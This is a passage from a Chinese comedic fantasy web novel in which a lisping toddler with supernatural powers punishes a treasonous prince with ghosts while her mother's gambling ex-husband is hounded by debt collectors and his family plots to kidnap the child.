“嘿嘿,”小团子笑得贼兮兮的,“泥猜……”
顾振宇:……
说话间,杨府就到了。
府门口,杨婉云和杨老爷正站在那儿张望。
杨婉云一身家常素袄,发髻只簪着那支白玉兰花簪,衬的肌肤更是细腻白皙,在暮色里温婉得像一幅画。
她看见顾振宇抱着呦呦策马而来,脚步下意识往前迎了一步,随即又顿住。
脸微微发热。
面上却无波无澜。
“凉亲!歪祖父!”许呦呦远远就挥着小手喊。
杨老爷三步并作两步冲上去,一把将小团子从顾振宇怀里接过来,上上下下打量:“哎哟我的乖孙孙!没事吧?有没有受伤?吓着没有?”
“窝木事!”小家伙搂着祖父的脖子,“似爹爹把窝救啦!爹爹可腻害啦!”
“爹爹??”杨老爷吃惊地看着顾振宇,又看了看杨婉云。
这……这……
他的女儿,不会吧……
“歪祖父,窝新爹,刚认滴……”小家伙赶紧解释。
不然,一会儿又要挨凉揍了!
杨老爷只以为呦呦认了个义父,毕竟他孙女这么可爱,当然是人见人爱呀。
随即,上前抱拳道:“多谢顾将军护送小女回府。”
杨婉云也跟着上前,垂眸屈膝,努力让声音听起来平静:“多谢将军。”
第一卷 第35章 嗯,太满意了
此刻的顾振宇。
呃……
就是个妥妥的傻大个呀!
他直愣愣地看着杨婉云,一动不动……
暮色里,她微微垂眸,睫毛轻颤,鼻尖小巧,唇色浅浅——
顾振宇脑子里一片空白,只剩一个念头:
好看。
真好看。
比四年前还好看。
杨婉云垂着眼等了半天,没等到回应,只好悄悄抬眼。
然后对上一双痴痴迷迷的眼睛。
杨婉云:【表情】﹏【表情】【表情】
她轻咳一声。
顾振宇没反应。
再咳一声。
还是没反应。
杨婉云咬了咬唇,正要开口。
许呦呦在祖父怀里捂着小嘴笑:“爹爹,羞羞,流水水!”
顾振宇猛地回神,下意识抬手擦嘴角……
“咳咳!”顾振宇脸红到耳根,慌忙拱手,“你们客气了!无碍无碍,呦呦是我闺女,我定当好生护着!”
杨老爷站在一旁,眼睛瞪得像铜铃。
等等!
不对!
这小子看他闺女的眼神——不对劲!
是非常不对劲!
痴痴的,还带着几分傻乎乎的笑……
这……这不就是他当年追媳妇时的样子吗?
杨老爷眼睛瞬间亮了。
好家伙!
这傻小子,想当他女婿?
他再次上上下下,里里外外,仔仔细细地重新打量着顾振宇。
这剑眉星目,面如冠玉,比他年轻时候还俊——嗯,满意!
这宽肩窄腰,劲瘦腿长,往那一站跟座山似的,能打能扛——嗯,满意!
这通身贵气,不卑不亢,一看就是见过大场面的!——嗯,满意!
还有这痴傻黏糊,灼灼逼人,跟狗见肉包子似的眼神——嗯,太满意了!
杨老爷捋着胡子,真是哪哪都满意,嘴角都快咧到耳根了。
许呦呦在他怀里小声问:“歪祖父,泥笑虾米?”
杨老爷低头,冲孙女眨眨眼:“笑你娘,有福气!”
“歪祖父,爹爹救过窝凉,也救过我。”许呦呦努力地为新认的爹,刷好感。
“什么?”杨父很意外。
救过婉云?
什么时候?
杨婉云知道事情瞒不下去,便简单将四年前遇刺,被顾振宇所救之事,告诉了杨父。
“什么?”杨父瞬间炸了,“你是说,四年前救你的是顾将军?那个畜生许振山冒领了功劳?”
杨婉云垂眸,轻轻点头。
“我……”杨父一口气差点没上来,“老子当初就觉得不对劲!他一个手无缚鸡之力的穷书生,怎么可能从歹人手里救下你?”
“老子问他,他支支吾吾说是侥幸,我也只以为是老天开眼!合着……合着是老子眼瞎!”
他越说越气,浑身都在发抖。
“老子今天非得宰了他!”
他“噌”地拔出腰间佩剑,转身就要往外冲。
“爹!”杨婉云一把抱住他的胳膊,“您冷静点!”
杨老爷双目赤红,“那畜生如此欺负我闺女,我不宰了他,难解我心头之恨。”
“爹!就算您把他杀了,”杨婉云死死拽着他,“可是杀人偿命,您要是出事,我和呦呦怎么办?”
杨老爷脚步一顿。
“再说了,”杨婉云声音软下来,“报复一个人最好的方式,可不是让他痛快死了。”
“而是一点一点让他失去最在乎的东西,最后一无所有,万念俱灰,再一击毙命。”
“放心吧,爹,女儿不会放过他,定会让那畜生付出代价。”
许呦呦也小胖手给他顺气:“歪祖父,扒气扒气,窝帮泥揍他!”
“咳咳……那个……伯父,您放心,一切还有我呢,这笔账,我自会跟他好好算。”顾振宇也赶紧表明立场。
杨婉云怕引起不必要的误会,赶紧冲顾振宇福了福身:“顾将军,天色不早了,您护送小女辛苦,早些回去歇息吧。”
“急什么,”杨老爷忽然开口,“今日之事,多亏了顾将军。”
“顾将军,若不嫌弃,进府喝杯薄酒,让老夫聊表谢意。”
顾振宇眼睛一亮,差点当场蹦起来。
他看向杨婉云。
杨婉云微微蹙眉:“爹,顾将军日理万机,军中事务繁忙,怎好叨扰……”
“不忙不忙!”顾振宇连忙摆手,“今日休沐,军中无事!”
杨婉云:“那将军护送小女辛苦,想必还要回宫复命……”
“不急不急!”顾振宇又道,“陛下那边已经复过命了!”
杨婉云:“那顾将军也该早些回府,省得老夫人担心……”
“无碍无碍!”顾振宇赶紧回道,“我娘巴不得我晚些回去!”
杨婉云:o_o....
杨老爷在一旁看得分明,心里却乐开了花。
这小子,有意思呀!
“走走走,顾将军请!”杨老爷拍了拍顾振宇的胳膊,热情得不像话,“老夫珍藏了二十年的女儿红,今日非得让你尝尝!”
顾振宇受宠若惊,赶紧跟着杨老爷往里走,
路过杨婉云身边时,偷偷看了她一眼。
杨婉云别过脸,耳根却悄悄红了。
厅内,酒过三巡。
杨老爷拉着顾振宇,从行军打仗聊到百姓民生,从百姓民生又聊到人生理想。
真是,越聊越满意啊!
这小子,不仅有抱负,有担当,还相当有本事。
杨婉云坐在一旁,给他爹使了无数个眼色,他爹愣是装没看见。
“爹,天色不早了,顾将军该回去了。”
“急什么?这才几时?”
“爹,顾将军明日还要早朝。”
“早朝?那不是还有好几个时辰?”
“爹……”
“行了,你少插嘴!”杨老爷摆摆手,“没见老夫跟顾将军聊得正投机嘛!”
杨婉云:……
她深吸一口气,正要再开口,忽然发现……
她爹眼神朦胧,微微眯起。
头也开始一点一点的。
然后,“咚”的一声,趴桌上了。
“爹?”杨婉云愣了。
杨老爷一动不动。
接着。
有节奏的呼噜声响起……
许呦呦啃得真起劲,满嘴是渣,眨巴眨巴眼:“歪祖父,谁着啦?”
杨婉云: ̄_ ̄|||
她爹多大的酒量,她比谁心里有清楚。
二十年的女儿红,才喝了三五杯,就醉成这样?
骗鬼呢?
可偏偏,她爹演得跟真的似的。
呼噜声此起彼伏,连节奏都把握得刚刚好!
第一卷 第36章 敢欺负窝
杨婉云无奈,起身走过去,想把许呦呦抱走。
结果她爹手一伸,把小家伙捞进怀里,迷迷糊糊站起来:“乖孙孙,陪祖父回院子,睡觉觉……”
然后,头也不回地走了。
嗯,就这么……走了!
杨婉云僵在原地。
厅内,只剩下她和顾振宇。
安静的……能听到彼此的心跳。
顾振宇手足无措地站在那儿,眼神里又是期待,又是无措……
杨婉云深吸一口气,抬起头,迎上他的目光。
“顾将军,今日之事,多谢你。”她顿了顿,“至于之前你说的那些……”
“我目前只想处理好与许振山的恩怨,能顺利带着呦呦和离。”
顾振宇的眼神,瞬间暗了。
杨婉云又接着道:“至于其他的事……若是真有机缘,我也会尝试。”
顾振宇猛地抬头,眼神有瞬间像被点燃一般。
顾振宇傻乎乎地挠着头笑着,笑得像个二傻子。
“婉云,我可以等。不管多久,我都等。”
他从怀里掏出一枚骨哨,递到她面前。
小小的,泛着温润的光泽。
“这是我的骨哨。”他看着她,目光灼灼,“任何时候,任何地方,只要你吹响它,我便会第一时间出现在你面前。”
他顿了顿,声音低下去:“无论何事。”
杨婉云看着那枚骨哨,心头狠狠一颤。
“顾将军……这太贵重了……”
顾振宇却将它放在桌子上,转身就跑,“我走了,你好好收着!”
他跑得飞快,眨眼间便消失在夜色里。
杨婉云拿起骨哨,怔怔地站在原地。
低头看了许久……
就在这时,刘嬷嬷进来,轻声问:“夫人?”
杨婉云回过神,将骨哨攥紧,藏进袖中。
“什么事?”她眼神迅速恢复一片清明。
“夫人,那边得手了!”刘嬷嬷轻声禀告。
“好,让他们明日把事闹大!”杨婉云勾起一抹玩味的笑。
许振山,从此刻开始,你的报应就是我!
当夜,月黑风高。
许呦呦躺在床上,翻来覆去,根本睡不着。
她睁着圆溜溜的大眼睛,盯着床顶的帐子,小嘴念念有词。
“敢欺负窝……欺负窝……”
越想越气,越气越想。
小拳头攥得滋滋作响。
“冬梅!”她一骨碌爬起来。
冬梅瞬间出现在床边:“小姐?”
“肘!”小家伙麻利地往她怀里爬,“窝带泥,去个地方!”
冬梅一愣:“现在?夫人知道吗?”
“凉亲睡了,”小家伙眨巴眼,“窝们悄悄的,扒让凉寄道?”
冬梅:……
但看着小主子那副“你不带我去我就哭”的架势,冬梅认命地把她裹进披风里,翻墙而出。
京郊,一处不起眼的别苑。
黑灯瞎火,寂静无声。
许呦呦趴在冬梅怀里,透过墙头往里瞄。
“到了,就似介里!”
小家伙眯起眼,小手一挥:“走,进去康康!”
冬梅抱着她,轻飘飘翻过墙头,落在院内一棵大树上。
屋内,灯火幽微。
陈王萧煜琰坐在案前,面色阴沉如水。
案上的砚台碎成几瓣,墨汁溅了一桌。
“废物!都是一群废物!”
他压低声音,却压不住满腔怒火。
暗卫跪在地上,大气都不敢出。
陈王站起身,在屋里来回踱步,每一步都踩得极重。
了空!
他花了多少年才把那个老东西争取过来?
无数金钱,无数女人,甚至还有权势……
好不容易让那个表面满口佛心、实则贪婪无耻的秃驴为他所用。
这些年,了空帮他搜集了多少朝中重臣的隐秘。
帮他窃取了多少气运。
甚至帮他引导萧家祖宗去折腾那个狗皇帝。
可现在呢?
死了。
竟被天雷劈死的!
陈王攥紧拳头,指节咔咔作响。
天雷?
他冷笑一声。
了空修行六十载,召来的天雷会劈他自己?
这里面一定有问题。
可他查不出来。
什么都查不出来。
还有,那场刺杀……
多好的机会啊!
护国寺山脚下,那狗皇帝身边护卫不过二三十人,他派了八十多个死士,个个都是以一当十的好手。
就算杀不了那狗皇帝,也足以让他重伤。
结果呢?
全死了。
一个都没回来。
八十多个死士啊!
他费了多少心血培养的,就这么折了!
“顾振宇……”陈王咬牙切齿地吐出这个名字。
要不是他突然出现,那狗皇帝早就……
“还有李莲茵那个废物!”
陈王一脚踢翻旁边的凳子,眼里满是厌恶。
让她去哄许振山,哄了这么久,不仅没把杨婉云弄回来,反而让那女人对许家的仇恨越来越深。
那杨家的金山银山,何时才能到手?
没有银子,他怎么养私兵?怎么谋大事?
“爷息怒。”暗卫小心翼翼地开口,“李氏那边……要不要属下去警告一番?”
“传我消息,所有人,原地待命。”他深吸一口气,努力让自己冷静下来,“暂时,不要轻举妄动。”
“你也下去吧!”
陈王闭上眼,在脑中反复复盘。
不对。
最近所有事,都透着一股邪门。
了空折了,刺杀失败了,李莲茵那边也毫无进展。
就好像……有什么东西在冥冥之中,专门跟他作对。
许呦呦趴在树上,小脸气得鼓鼓的。
“就似他,敢欺负窝,还敢打窝家钱钱的主意……”
她越说越气,小拳头攥得滋滋作响。
“冬梅,泥在这儿等着窝。”
冬梅一愣:“小姐,您要做什么?”
小家伙没回答,只见小手一挥……
屋内,正阴沉着脸来回踱步的陈王,忽然整个人僵在原地。
他瞪大眼睛,瞳孔骤缩。
他……他动不了了!!
他想张嘴,却发现嘴巴根本张不开。
他想动手,手指也像被钉住一般。
一股寒意从脚底,直窜天灵盖。
就在这时。
“吱呀——”一声。
一阵阴风,猛地吹开了房门。
银白的月光下。
一个小小的身影,出现在门口。
陈王眼珠子拼命往下转,终于看清了来人……
一个……奶娃娃?
只见她穿着粉嫩嫩的小袄,头上扎着两个小揪揪。
双手插在兜里。
嘴里还叼着一根草。
大摇大摆地走了进来。
陈王:???
这是哪家的小孩?
竟然偷跑到他的别院……
第一卷 第37章 当日仇,当日报
许呦呦晃晃悠悠来到他面前,把嘴里的草吐掉,歪着头看他。
“就似泥,欺负窝?”
陈王一脸懵逼地看着她。
小家伙点点头:“嗯,不嗦话,就当泥默认啦。”
陈王:我……我倒是想说!!!
“泥,罪大恶极!”许呦呦叉着腰,从怀里慢慢抽出一根东西——鸡毛掸子。
“窝这个崽,次啥都不能次亏。”
“白天,次了辣么大亏,还能让泥安然过夜?”
她举起鸡毛掸子。
“窝滴人生格言就似……”
啪!
一掸子抽在陈王腿上。
“当日仇!”
啪!
又一掸子抽在胳膊上。
“当日报!”
啪!
“绝扒过夜!”
啪!
“泥竟然,要杀窝皇伯伯!还差点把窝也砍了!”
啪!
“泥敢让辣个坏女银,骗窝凉钱钱!就似,窝的钱钱!”
啪!
“泥让辣个秃纸,偷气运,害得漂亮得得倒霉!”
啪!
……
小家伙嘴上骂骂咧咧,手上也不曾停歇。
啪啪啪!
鸡毛掸子如雨点般落下。
陈王又惊又痛。
这些事情,她怎么全部知道?滴水不漏啊!!
还有这个,到底是什么鸡毛掸子。
太他娘地痛了!!
是那种拿刀子刮他骨头缝,钻心的痛啊!
陈王痛额间冷汗如雨。
他想惨叫,却叫不出声。
不知过了多久,小丫头忽然停下来,手腕转动几下。
“呼……呼……累屎窝啦……”
陈王站在那,嘴角溢出一丝血迹,脸色惨白,满头冷汗,眼神里全是恐惧和绝望。
他活了三十多年,从没这么疼过。
那种疼,不是皮肉之苦,仿佛是灵魂被撕裂的疼啊!
这一刻,他一切都想明白了。
原来,所有的失败,都找到了源头。
就是她。
许呦呦,杨婉云之女。
可她……她到底是何方妖孽?
许呦呦抬头看着陈王,“以后,见作姑奶奶,跪作走,听到米……”
说罢,又在他脚上,狠狠踩了一脚,转身才往外走。
陈王看着她消失在门口,心里瞬间涌起一丝劫后余生的庆幸……
可是,小家伙走了两步,又回头。
对着空中,轻飘飘说了一句:
“窝寄几的仇,窝寄几报啦。”
“泥们滴仇,泥们也要寄几报哦!”
“等泥们报完仇,窝就送泥们,入轮回,但泥们要记作,扒能噶他,扒然沾上因果,就入扒了轮回……”
说完,迈着小短腿,大摇大摆地走了。
刹那间。
屋内温度骤降。
冷得刺骨。
烛火疯狂跳动,明明灭灭。
陈王刚放松的心,瞬间悬了起来,浑身汗毛倒竖。
见……见鬼啦,他……他看见了什么??
无数鬼影,从四面八方飘来。
有断头的,血淋淋地从脖颈处往外冒。
有七窍流血的,眼珠子挂在眼眶外。
有四肢不全的,面色狰狞地爬了过来。
还有胸口冒着大洞的,也正一步一步朝他走来。
……
“殿下……你还记得我吗?”
“我对你忠心耿耿,为你出生入死,你却怕我泄密,把我灭口……”
“我死得好惨啊……”
“还有我,我不过就是打翻了茶水,就被你剁了双手惨死……”
“我替你挡箭而死,你说会照顾我妻儿——转头就把他们卖入娼门。”
“你还我命来……”
“还我命来……”
“畜生!拿命来……”
无数冤魂嘶吼着,朝他扑了过来。
陈王的恐惧直冲到天灵盖。
他拼命挣扎,却一丝也动不了。
就眼睛,都不受控地闭不上啊!
只能眼睁睁看着那些狰狞的面孔越来越近,越来越近——
冰凉的手掐住他的脖子。
尝尝的舌头,舔舐着他的脑袋。
血淋淋的脸贴在他眼前。
“啊——!!!”
他在心里疯狂惨叫,眼球爆裂。
可发不出任何声音。
半个时辰后。
冤魂散去。
屋内一片漆黑,透着阴森森的平静。
陈王瘫在椅子上。
浑身湿透,像刚从水里捞出来似的。
脸色惨白如纸,双目涣散,瞳孔爆裂,浑身颤抖如筛糠,嘴唇毫无血色地微微张着。
刚才那些……那些都是他曾经害死的人啊。
现在一个一个,都来找他了。
他想闭上眼,可眼皮哆嗦得根本不听使唤。
那些刺穿脑膜的声音,一直都在他脑中尖叫。
“还我命来……”
“我要让你血债血偿……”
“以后,夜夜都是你的噩梦……”
陈王闭上眼睛剧烈瑟缩,喉咙里发出“嗬嗬”的漏风声。
不要……
不要……
他张着嘴,却发不出任何声音。
“噗——”
一口鲜血,从胸腔喷薄而出。
眼泪混着血水,顺着他的脸颊无声滑落。
完了。
全完了。
从今往后,每一夜都是地狱。
回到杨府。
许呦呦趴在冬梅怀里睡得格外香甜,小手甚至还在一甩一甩地挥舞着。
冬梅悄咪咪翻墙回到小院,轻轻地将她放回自己的床上。
刚沾到床,小姑娘就往床上一滚,“哎呀,阔累屎窝了……”
“冬梅,”许呦呦眯着眼,迷迷糊糊地叮嘱,“今晚滴似……扒要告诉凉哦……”
冬梅点头:“小姐放心,冬梅谁也不说。”
她是杨家暗卫,认主那日夫人就说过,从此以后,你只效忠小姐一人。
况且小姐的特别,她一直都知道。
所以,她一定会守护好小姐一辈子。
翌日一早。
阳光透过窗棂洒进来,许呦呦睡的哈喇子直流。
忽然。
一阵凉意袭来。
小家伙迷迷糊糊睁开眼,对上了一张似笑非笑的脸。
杨婉云坐在床边,手里颠着那根熟悉的鸡毛掸子……
许呦呦瞬间清醒,“凉……凉凉亲!!!”
她一个激灵从床上弹起来,连滚带爬往床下跳。
“凉,窝……窝阔以解释的!!”
“您……您听窝给您解释!!”
杨婉云眯着眼睛:“解释什么?解释你半夜三更,偷跑出去?”
许呦呦小脸煞白,眼珠子滴溜溜转……
“冬梅姐姐,泥不似答应窝,不告诉凉滴吗!!”
冬梅站在门口,一脸无辜:“小姐,不是奴婢说的呀,您昨晚回来后,睡梦中叽里咕噜说了一堆……”
许呦呦:【表情】﹏【表情】...
谁能给她治治,她这爱说梦话的习惯啊!!
第一卷 第38章 欠债还钱,天经地义
“不似,凉,窝粗去……”
话还未说完,她娘的鸡毛掸子就扬了起来。
“歪祖父!救窝!!!”小家伙找准时机,急得光着脚丫子就往外冲。
“你给我站住!”杨婉云提着鸡毛掸子就追。
许呦呦跑得飞快,小短腿倒腾得像风火轮:“歪祖父!!歪祖父,救命哇!!!泥闺女,要嘎人啦!!!”
杨婉云在后面追:“你给我回来!以后晚上还跑不跑了?”
“扒跑了,扒跑了!!打屎,也扒跑了!!!”小家伙跑到院子里,被杨老爷一把捞进怀里。
“哎哟我的乖孙孙,怎么了这是?”杨老爷笑得见牙不见眼。
许呦呦搂着他的脖子,可怜巴巴地告状:“泥闺女,要打屎她闺女……”
她娘眉目一蹬,小家伙瞬间闭嘴!
“爹,您别护着她!她昨晚偷偷跑出去,三更半夜才回来!”
小家伙眨巴眨巴眼,赶紧认错:“凉,窝……窝错了……”
杨老爷心都化了,赶紧将她搂在怀里:“哎哟好了好了,孩子知道错了就行了——”
“爹!”杨婉云瞪他。
许呦呦赶紧举起两根手指,对天发誓:“凉,窝发屎!以后,晚上扒跑了!再跑,就让雷劈——”
话还没说完。
原本艳阳高照的天空,忽然乌云密布。
“轰隆——”
一声闷雷炸响。
许呦呦愣了一下,随即小脸涨得通红,叉腰仰天怒吼:
“狗东西!!!窝凉欺负窝,泥也敢欺负窝?!!!”
“泥给窝下乃,下乃,康窝扒扒了泥滴皮!”
“泥要再介样,窝阔就屎给你康!!!”
话音刚落。
乌云“咻”地一下散得干干净净,不带一丝犹豫。
阳光重新洒下来,暖洋洋的。
杨婉云:……
杨老爷:……
冬梅:……
满院子的丫鬟小厮:……
许呦呦收回小拳头,拍拍手,若无其事地转身:“凉,窝发完誓啦,泥看,它都同意啦!”
杨婉云扶额。
看着被自己爹抱走的闺女,无声地叹了一口气……
这闺女,她是管不了了。
一阵鸡飞狗跳后,一家子终于坐下来吃早饭了。
许呦呦一边晃着小脚脚,一边啃着肉包子,完全忘了刚才被追着打的凄惨。
“凉,”她忽然抬头,“窝一会儿,想去康戏!”
杨婉云眉头一皱:“看什么戏?”
“帮凉康康,辣边进展滴肿么样呀!”小家伙一脸的“窝是在帮你”的义正言辞。
杨婉云:……
“去吧去吧,”杨老爷摆摆手,“让冬梅跟着,别闯祸就行。”
小家伙得到允许,一口将包子塞进嘴里,拉着冬梅就跑。
“肘肘肘!康戏去!”
——
此时的许府门口。
已经围满了人。
一群凶神恶煞的大汉堵在大门前,手里拿着棍棒、欠条,骂骂咧咧。
“许振山!给老子滚出来!”
“欠债还钱!天经地义!”
“今天再不还钱,老子就把你这许府大门拆了!”
周围里三层外三层围满了看热闹的街坊邻居。
众人指指点点,议论纷纷。
“这许大人怎么了?欠这么多钱?”
“听说这些日子天天泡在赌坊里,昨晚还被人暴揍了一顿!”
“赌坊?他不是被罚俸了吗?哪来的钱赌?”
“借印子钱啊!你没看见那放印子钱的张三站在那呀!”
“啧啧啧,堂堂礼部员外郎,居然沦落到如此田地……”
“哎,想当初,许夫人在的时候,这许府,那叫一个光鲜亮丽啊……”
“真是造孽啊……”
不消片刻。
许振山被几个家丁护着,狼狈地站在门内。
此时,他鼻青脸肿,脸色灰败,双眼布满血丝,头发散乱,哪还有半分当初探花郎的风流倜傥?
“各位……各位再宽限我几日……”他低声下气地作揖,“我……我一定想办法还……”
“宽限?”为首的大汉冷笑一声,“你已经宽限三次了!今日再不还钱,就拿你这宅子抵债!”
“对!拿宅子抵债!”
“还有你那个小妾!听说长得不错,我们老大可是说了,若拿她抵债,可减一半。”
“哈哈哈哈……”
哄笑声此起彼伏。
许振山脸色涨红,嘴唇发紫,任由周围人无尽地嗤笑。
他怎么会落到这步田地?
原本……原本他只想翻个本而已。
那日被杨婉云当众羞辱后,他浑浑噩噩走在街上。
忽然有人拍着他的肩膀说:“许大人,想翻身吗?有个地方,一夜暴富的人可多了,您可是探花郎,您要是去了,以您的能力,翻身还不是轻轻松松的事嘛。”
那一瞬间,他动心了。
是真的动心了。
想到杨婉云对他的不屑。
想到妹妹的病越来越重,大夫说再不用好药,怕是撑不过这个冬天。
还有娇娇的咳疾日日发作,夜里咳得睡不着,李莲茵天天哭,哭得他心烦意乱。
府里能当的东西都当了,杨婉云的嫁妆他不敢再动——那女人手里有账册,一笔笔记得清清楚楚,若是被她抓住把柄告到御前……
他怕……彻底挽回不了她了!
那就,赌一把吧。
万一,赢了呢?
一夜暴富,把欠的债都还上,把母亲妹妹的病治好,再去杨婉云面前风光一把——让她知道,我许振山离了她,照样风生水起!
第一晚,他确实赢了。
足足十倍啊,他真的看到了暴富的希望!
第二晚,又赢了。
更让他坚信,他就是天生的佼佼者。
可是从第三晚开始,他就输了。
从此以后,越输越离谱……
接着,他就被忽悠着借了印子钱。
没想到,输得更惨。
就这样,周而复始,输和借的钱,像滚雪球一样,越滚越大。
等他清醒过来时,已经欠了五千多两。
五千多两啊!
他拿什么还?
这时,为首的大汉似笑非笑地看着他。
“许大人,”他啧啧两声,“你这脑子,当年是怎么考上探花郎的?”
周围又是一阵哄笑。
“行,就再宽限你几日,那咱们今儿就先收点利息。”大汉一挥手,“兄弟们,开干!”
第一卷 第39章 窝寄几来啦
十几个大汉,如狼似虎地冲进许府。
“有用的拿走,没用的砸掉!”
“这个花瓶不错,拿走!”
“这屏风还能当几个钱,也搬走!”
“哎哟,瞧瞧,这椅子腿都松了,真是穷得屁股都没地方放。”
一时间,翻箱倒柜声、瓷器碎裂声、尖叫声,此起彼伏。
许振山瘫坐在门槛上,眼睁睁看着那些人把府里仅剩的一点家当往外搬。
老夫人被人扶着站在廊下,浑身发抖,嘴唇哆嗦着说不出话。
李莲茵抱着许娇娇躲在角落里,脸色煞白,一声不敢吭。
“老大,那库房你是没见着啊,空的连耗子来了,都要扔几粒米进去。”
“他的卧房也搜完了,就几件破烂衣裳!”
“还有厨房,菜叶子都是烂的!”
这些人骂骂咧咧的出来,手里抱着几样寒酸可怜的物件。
为首的大汉接过那几样东西,随手扔在地上,“啪”的一声碎成几瓣。
他走到许振山面前,居高临下地看着他。
“呸!”
一口浓痰,狠狠啐在许振山脸上。
“什么玩意儿!”大汉满脸嫌弃,“堂堂礼部员外郎,穷成这副德行,还敢借五千两?”
许振山一动不动,任由那口痰顺着脸颊往下淌。
“听好了,”大汉蹲下身,拍拍他的脸,“三天。最后三天。再拿不出钱,就拿你这条命抵。”
他站起身,大手一挥:“走!”
这帮人,骂骂咧咧地散去。
围观的人群也渐渐散了,嘴里却是一刻都没消停。
“啧啧啧,造孽哦……”
“活该!谁让他宠妾灭妻,报应啊!”
“听说,还残害嫡女,更是罪大恶极!”
……
半晌,许府门口,终于安静下来。
许振山坐在院中,一动不动。
院子里七零八碎,一片狼藉。
他慢慢抬起头,看着眼前这个破败不堪的院子。
三年前,他迎娶杨婉云,这里张灯结彩,宾客满堂。
那些嫁妆,一箱一箱抬进来,摆都摆不下。
那时候,他觉得自己是天底下最得意的人。
现在呢?
一切都没了。
他低下头,看着自己这双手。
这双手,曾经接过圣旨,曾经执笔写锦绣华章,曾经牵着杨婉云走进洞房。
如今,只剩下一手沧桑。
许振山正绝望地瘫坐着,身后忽然传来一阵剧烈的咳嗽声。
“咳咳咳……咳咳……”
他回头,看见许清烟扶着门框,颤颤巍巍地走了出来。
只见她脸色蜡黄,瘦骨嶙峋,身上裹着厚厚的棉袄,却仍在瑟瑟发抖。
“烟儿?你怎么出来了?”许振山慌忙起身去扶她,“外面风大,你快进去……”
“哥,”许清烟一把抓住他的手腕,眼神里满是算计,“咱们……还没到绝路。”
许振山一愣。
许清烟喘了几口气,压低声音道:“姨母家……表哥与我的婚事,你还记得吗?”
许振山点头。
当然记得。
那是母亲娘家的侄子,家里开着十几家铺子,家境十分殷实。
去年刚中了举人,前程可观。
“我跟表哥自打去年定亲后,”许清烟眼中闪过一丝光,“表哥便十分心悦与我,姨母也格外疼我。”
“只要将我身体调理好,到时候,聘礼、嫁妆,少说也有几千两。有了这笔钱,咱家的债就能还上,哥你也能东山再起……”
许振山眼睛渐渐亮起来。
可随即又暗了下去。
“可你这病……”他一脸苦涩,“大夫说要用好药,至少要几百两。我……我现在哪里拿得出?”
许清烟咬着牙,一字一句道:“去找杨婉云借。”
“她?”许振山苦笑,“她怎么可能借给我?她怕是恨死我了!”
“她不借,那就换个法子。”许清烟眼中闪过一丝狠色,“她把那个小贱人看得跟眼珠子似的。”
“哥,你去把呦呦带回来。”
许振山愣住了。
“你才是呦呦的亲爹!”许清烟攥紧他的手腕,“把闺女接回来,天经地义!她杨婉云凭什么拦着?”
“可是……”
“若她不放人,”许清烟压低声音,眼中寒光闪闪,“那就悄悄把那小贱人绑回来。”
“孩子在手,她还能不管?到时候,她自然就巴巴地跟着回来了。”
许振山瞳孔微缩。
“烟儿,这……”
“哥!”许清烟死死盯着他,“你想看着咱们家彻底完蛋吗?想看着我被这病拖死吗?想看着母亲那么大年纪还要被人指着脊梁骨骂吗?”
“我……”
“都是杨婉云那个贱人,把咱们害成这样,她不该出点血吗?”许清烟声音里满是怨毒。
“不过是把我们许家的孩子接回来而已,等她回了许家,咱们还是一家人,有什么不好?”
许振山沉默良久。
“振山,你妹妹说得对啊!那孩子本就是我许家人,那就得为我许家做点贡献。”
这时候,老太太也扶着拐杖,颤巍巍地走了出来。
许振山看了看母亲,又看了看妹妹,眼中“忽的”升腾起一股希望,“好。”
话音刚落,院门口忽然传来一道奶声奶气的声音:
“扒用泥们绑,窝寄几来啦!”
许振山猛地回头。
只见许呦呦扎着两个小揪揪,双手插兜,一身大红锦袍,喜滋滋地走了进来。
身后跟着面无表情的冬梅。
“呦……呦呦?”许振山愣住了。
许清烟也僵在原地。
她刚刚还在商量怎么绑人,没想到,这小贱人就自己送上门来了?
许振山愣了一瞬,随即脸上堆满笑,快步迎上去:“呦呦!爹爹的好闺女!你可算回来了!”
他蹲下身,小心翼翼地哄着:“回来就好,回来就好!以后,就跟爹爹和祖母,还有姑姑一起住。”
“对对对,呦呦,祖母的心肝啊,你可算回来了,祖母可想死你了,咱们啦,终究才是幸福家一人啊!”
老夫人激动地扶着拐杖,满脸堆笑地往前走来。
许呦呦歪着头看她,一脸的不可思议。
“幸福?”
她指了指老太太身上那件满是破洞的旧袍子。
“泥让窝,穿介个?”
又指了指东倒西歪的门窗、满地的碎瓷片。
“住介个?”
再指了指角落里那几片烂菜叶子。
“次介个?”
她收回手,叉着小腰,仰头看着许老太:
“泥管介个,叫幸福?”
许老太的脸色,瞬间一阵青,一阵白。
第一卷 第40章 婚约作废
许清烟更是气得浑身发抖,指甲掐进掌心。
她恶狠狠地瞪着许呦呦。
凭什么?
凭什么他们一家在这里债台高筑,过得苦不堪言?
而这个小贱人,却养得白白胖胖,穿着绫罗绸缎,颈上还戴着刺眼的赤金项圈!
这些东西,本该是她的!
许清烟颤颤巍巍走下台阶,瘦骨嶙峋的手指指着许呦呦:
“你……你这个小贱人!身为许家女,却跟着那个商贾贱妇,忤逆父亲、顶撞长辈,不忠不孝,连祖宗都忘了!”
她喘着粗气,越说越激动:“这种忘本的东西,还跟她废什么话?”
“哥!”她转头看向许振山,“把她捆起来!关在家里好好教养!不许她再跟那个商贾贱妇,学那些上不得台面的东西!”
“振山,就听你妹妹的话,这孩子,是该好好教导教导了。”老太太当即横眉冷对,拐杖敲得啪啪响。
许呦呦歪着脑袋,小手一指,“泥,管好寄几叭。”
“再嗦下去,泥就要咳屎啦。”
“还想作嫁银?还想过好日纸?”
“做梦去趴,毕竟,梦里撒都有……”
许清烟差点一口气没上来,剧烈的咳嗽起来,咳得撕心裂肺,弯下腰去。
许振山脸色铁青,上前一步就要去抓许呦呦。
“你这个不孝女……”
话没说完,冬梅上前,狠狠一脚,将他踹了出去。
“咚!!!”
许振山掉落在地,浑身扎在了碎瓷片上,疼得他龇牙咧嘴。
许呦呦居高临下地看着他,小嘴一撇:
“还想绑窝?”
“泥们想屁吃泥!”
“窝是来看戏滴,不是来让们绑滴!”
许振山蜷缩在地上,又疼又怒,却爬不起来。
就在这时,门口忽然传来一阵脚步声。
“你们……在做什么?”
一道惊愕的女声响起。
众人回头,只见门口站着一个衣着光鲜的中年妇人,身后跟着个二十出头的年轻男子。
妇人头戴赤金簪,身穿绛紫绸袄,通身富态。
男子一身月白长衫,面容清秀,只是眉眼间带着几分读书人的清高。
正是许清烟的姨母邹氏,和她的表哥刘庆彦。
“姨母?”许清烟眼睛一亮,挣扎着就要迎上去,“姨母您怎么来了?”
